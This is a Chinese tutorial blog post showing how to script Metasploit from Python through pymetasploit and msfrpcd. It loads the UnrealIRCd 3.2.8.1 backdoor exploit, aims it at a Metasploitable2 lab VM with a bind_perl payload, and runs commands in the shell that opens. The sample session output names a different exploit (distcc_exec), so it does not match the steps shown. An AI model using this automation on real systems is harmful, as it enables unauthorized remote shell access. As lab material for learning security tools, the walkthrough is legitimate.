python调用msf_使用python操纵metasploit简单小记
最近想做一款自动化的主机漏洞扫描工具。打算以python作为基础语言,metasploit作为开发基础库。查资料发现国内的论坛博客都只会互相抄来抄去,没一个能打的。
那就我来写一篇。
本文用到的python库是allfro/pymetasploit
使用pip进行安装
pip install pymetasploit
我的开发环境是windows,metasploit跑在kali环境下。所以在kali下面要做如下配置。
首先是运行msfrpcd服务,-S参数表示不通过SSL进行连接,-U后接用户名,-P后接密码。具体可以输入msfrpcd -h查看。
msfrpcd -S -U peng -P peng
运行完后界面是这样的。
然后我们写第一行python程序。引入的方法是这样的:
from metasploit.msfrpc import MsfRpcClient
第二行获得连接的对象,是这样的。
client = MsfRpcClient(password="peng", username="peng", server="192.168.190.128", ssl=False )
解释一下,这个MsfRpcClient传入的参数中,password是必须的,其他可选参数有url/port,可以看源码得知其用途。
我们来打印一下这个对象可调用的方法。此时整体的代码是这样的。
from metasploit.msfrpc import MsfRpcClient
client = MsfRpcClient(password="peng", username="peng", server="192.168.190.128", ssl=False)
print [m for m in dir(client) if not m.startswith('_')]
返回的结果有:
['auth', 'authenticated', 'call', 'client', 'consoles', 'core', 'db', 'jobs', 'login', 'logout', 'modules', 'plugins', 'port', 'server', 'sessionid', 'sessions', 'ssl', 'uri']和metasploit framework类似,这个client也是分为不同模组的。解释一下其中几个重要的模组。
consoles:负责和msfconsole进行交互,也就是说使用这模块与使用msfconsole无异。
core:管理metasploit framework的核心模块。
db:管理与后端的数据库连接。
modules:重中之重,我们可以使用这个很轻松地调用msf的各种模组。
sessions:管理meterpeter的session用的,也是重中之重。
查看Exploit的方法和msfconsole类似。直接输入:
print [i for i in client.modules.exploits]就可以输出一个全部Exp的名字的List。同样的方法可以用于auxiliary、encoders、nops、payloads、post。
好了,我们上个Exp和靶机搞搞事情。
我们用的漏洞是Metasploitable2的unreal_ircd_3281_backdoor。这个漏洞是这样子的:6667端口上运行着UnreaIRCD IRC的守护进程,通过在一个系统命令后面添加两个字母“AB”发送给被攻击服务器任意一个监听该端口来触发。
使用exp的代码如下:
exploit = client.modules.use('exploit', '/unix/irc/unreal_ircd_3281_backdoor')
查看exploit描述、选项、要求的方法有:
print exploit.description
print exploit.options
print exploit.required返回结果如下:
设置Exp参数的方法如下:
exploit["RHOST"] = "192.168.190.129"查看可以使用的Payload:
print exploit.payloads返回结果:
['cmd/unix/bind_perl', 'cmd/unix/bind_perl_ipv6', 'cmd/unix/bind_ruby', 'cmd/unix/bind_ruby_ipv6', 'cmd/unix/generic', 'cmd/unix/reverse', 'cmd/unix/reverse_bash', 'cmd/unix/reverse_bash_telnet_ssl', 'cmd/unix/reverse_openssl', 'cmd/unix/reverse_perl', 'cmd/unix/reverse_perl_ssl', 'cmd/unix/reverse_ruby', 'cmd/unix/reverse_ruby_ssl', 'cmd/unix/reverse_ssl_double_telnet']运行Exp,并使用对应Payload:
print exploit.execute(payload="cmd/unix/bind_perl")然后可以返回session的id,如下所示。如果返回None,证明Exp没打进去:
{'job_id': 1, 'uuid': 'bdutdeae'}调用以下命令可以看到当前活跃的session:
print client.sessions.list这是当前的显示:
{1: {'info': '', 'username': 'root', 'session_port': 3632, 'via_payload': 'payload/cmd/unix/bind_perl', 'uuid': '7prx3xje', 'tunnel_local': '192.168.190.128:39936', 'via_exploit': 'exploit/unix/misc/distcc_exec', 'exploit_uuid': 'npenk79g', 'tunnel_peer': '192.168.190.129:4444', 'workspace': 'false', 'routes': '', 'target_host': '192.168.190.129', 'type': 'shell', 'session_host': '192.168.190.129', 'desc': 'Command shell'}}调用session的方法:
shell = client.sessions.session(1)
shell.write("whoami\n")
print shell.read()然后可以得到当前用户的信息。
daemon
我想写个漏洞扫描器。。。。。
python调用msf_使用python操纵metasploit简单小记相关推荐
- python 无法调用turtle_新人求助,关于python 调用turtle《python简单turtle教程》
新人求助,关于python 调用turtle 什么呀 turtle是python的简单的绘块,以下是一个例子from turtle import * def yin(radius, color1, c ...
- Python调用Gurobi:Assignment Problem(指派问题)简单案例
Python调用Gurobi:简单案例 Python调用Gurobi:Assignment Problem简单案例 1. Assignment Problem Model Python调用Gurobi ...
- python脚本中执行另一个脚本_如何用python调用另一个python脚本?
如果想要将已经设置好的内容,在转移到另一个位置要怎么做呢?小编能写到的方法有,照抄,复制,以及转移使用.在我们日常办公上是非常好理解的,就是ctr v,但是如果想在编程上,将某一位置拿去到别的项目上使 ...
- python调用lib_基于python调用libvirt API
基于python调用libvirt API 1.程序代码 #!/usr/bin/python import libvirt import sys def createConnection(): con ...
- python调用百度翻译-Python 调用百度翻译API
由于实习公司这边做的是日文app,有时要看看用户反馈,对于我这种五十音图都没记住的人,表示百度翻译确实还可以.但不想每次都复制粘贴啊,google被墙也是挺蛋疼的事,所以用python结合baidu ...
- python调用php命令行,python调用php函数 python怎样调用php文件中的函数详解
前言 python调用php代码实现思路:php文件可通过在terminal中使用php命令行进行调用,因此可使用python开启子进程执行命令行代码.函数所需的参数可通过命令行传递. 测试环境 1. ...
- python调用shell命令-Python调用shell命令常用方法(4种)
方法一.使用os模块的system方法:os.system(cmd),其返回值是shell指令运行后返回的状态码,int类型,0表示shell指令成功执行,256表示未找到,该方法适用于shell命令 ...
- python 调用linux命令-Python调用shell命令常用方法
Python调用shell指令 方法一.使用os模块的system方法:os.system(cmd),其返回值是shell指令运行后返回的状态码,int类型,0表示shell指令成功执行,256表示未 ...
- python调用shell命令-python调用shell命令小结
在写python脚本的时候,经常需要调用系统命令,常用的python调用系统命令的方法主要有subprocess.call和os.popen.默认情况下subprocess.call的方法结果是返回值 ...
- python调用msf_MSF利用python反弹shell-Bypass AV
本文主要介绍两种利用msf生成python版 payload,并利用Py2exe或PyInstaller将python文件转为exe文件,可成功bypass某些AV反弹shell msf-python ...
最新文章
- Discuz代码分析——index.php
- 这些 AI 大咖的实践干货,从事人工智能的你应该知道
- 入门讲解HTML5的画布功能(1)
- Mysql的timestamp与datetime
- 我的天,强化学习还能用在自动驾驶领域?
- 22、mysql主键自增值和偏移量的查看和修改
- 前端学习(1496):watch使用场景
- LeetCode 354. 俄罗斯套娃信封问题(最长上升子序 DP/二分查找)
- 一维数组转化为二维数组(java)
- android守护进程
- 用c语言编程图书管理系统,C语言图书管理系统简洁版
- 服务器挂软件系统,云服务器挂软件用什么系统
- LIVE MINI ESP32开发板教程系列(四)NeoPixel + ws2812b实现炫彩显示
- 毕业生必看,计算机毕设如何选题才能高分通过?
- Life:歌曲学习之教一个不会唱歌的人学会唱出《情非得已》、《海阔天空》、《红日》、《老男孩》等歌曲
- 蓝牙模式-Inquiry and Page详细解析含参数
- 探索YoloV3源码
- python和anaconda安装顺序_Anaconda详细安装步骤图文教程
- Criteria用法的小结
- 哒哒哒哒 一些有趣的东西 HihoCoder 1082 CUGOJ 1569
热门文章
- 在ASP.NET Atlas中调用Web Service——介绍及简单应用
- 16.凤凰架构:构建可靠的大型分布式系统 --- 向微服务迈进
- 11.大数据架构详解:从数据获取到深度学习 --- 大数据云化
- 33.go 错误处理
- iPhoneiPod Touch定位编写
- hihoCoder#1743:K-偏差排列(矩阵快速幂+状压dp)
- 02.规划过程组表格-沟通管理计划
- FastDFS+Nginx部署详细教程
- Linux下搭建BT服务器
- 页面制作(PS/HTML/CSS)易错点总结